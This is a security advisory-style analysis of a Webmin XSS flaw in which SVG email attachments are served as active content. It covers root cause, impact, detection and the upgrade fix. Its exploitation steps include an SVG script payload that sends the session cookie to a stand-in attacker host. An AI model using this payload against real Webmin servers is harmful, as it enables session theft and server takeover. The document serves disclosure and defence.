CVE-2026-49102: 
Webmin vulnerability analysis and mitigation

CVE-2026-49102 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Webmin's mailboxes component, specifically in mailboxes/detach.cgi. The flaw affects all Webmin versions before 2.640 and arises because SVG email attachments are served with the image/svg+xml content type instead of a safe type such as text/plain, allowing embedded scripts to execute in the browser. It was published on May 27, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified under CAPEC-209 (XSS Using MIME Type Mismatch). When a user views an SVG email attachment via mailboxes/detach.cgi, Webmin serves the file with the image/svg+xml content type, which browsers treat as an active document capable of executing embedded JavaScript. The fix, applied in commit cf43287, adds an explicit check: if the attachment type or filename matches SVG patterns (image/svg, image/svg+xml, or .svg/.svgz extensions), the content is instead served as text/plain, preventing script execution (Webmin Commit). No authentication is required to send the malicious email, but a Webmin user must interact with (view) the attachment for exploitation to succeed.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the security context of the Webmin application. This can lead to session token theft, unauthorized actions performed on behalf of the authenticated user (such as system administration tasks), and exposure of sensitive information visible in the Webmin interface. Because Webmin is a privileged server administration panel, a compromised session could grant an attacker effective control over the underlying server (Github Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (Github Advisory). The EPSS score is approximately 0.031% (10th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Craft malicious SVG: Create an SVG file containing an embedded JavaScript payload, e.g., <svg xmlns="http://www.w3.org/2000/svg"><script>document.location='https://attacker.com/steal?c='+document.cookie</script></svg>.
2. Send email with SVG attachment: Send an email to a Webmin user's mailbox (accessible via the Webmin mailboxes component) with the malicious SVG file attached.
3. Wait for user interaction: The attack requires the target Webmin user to open their mailbox and click to view the SVG attachment via mailboxes/detach.cgi.
4. Trigger XSS: On vulnerable versions (before 2.640), Webmin serves the SVG with Content-type: image/svg+xml, causing the browser to render it as an active document and execute the embedded JavaScript in the Webmin origin context.
5. Achieve objective: The executed script can exfiltrate the session cookie, perform authenticated Webmin API actions, or pivot to further server compromise (Webmin Commit, Github Advisory).

• Network: Outbound HTTP requests from the Webmin server or the administrator's browser to unexpected external hosts shortly after a user views an email attachment; unusual GET/POST requests to attacker-controlled domains containing encoded cookie or session data.
• Logs: Webmin access logs showing requests to mailboxes/detach.cgi with SVG-typed or .svg-named attachments from authenticated user sessions; subsequent unusual administrative actions (user creation, configuration changes) in Webmin audit logs immediately following attachment views.
• File System: Unexpected new files or scripts created in Webmin directories or on the server following a session compromise event.

Upgrade Webmin to version 2.640 or later, which fixes the vulnerability by serving SVG attachments as text/plain instead of image/svg+xml (Webmin Commit, Github Advisory). As interim mitigations, consider disabling the Webmin mailboxes component if it is not required, implementing a strict Content Security Policy (CSP) on the Webmin interface, and training users not to open unexpected email attachments within Webmin. Restricting inbound email to trusted senders can also reduce the attack surface.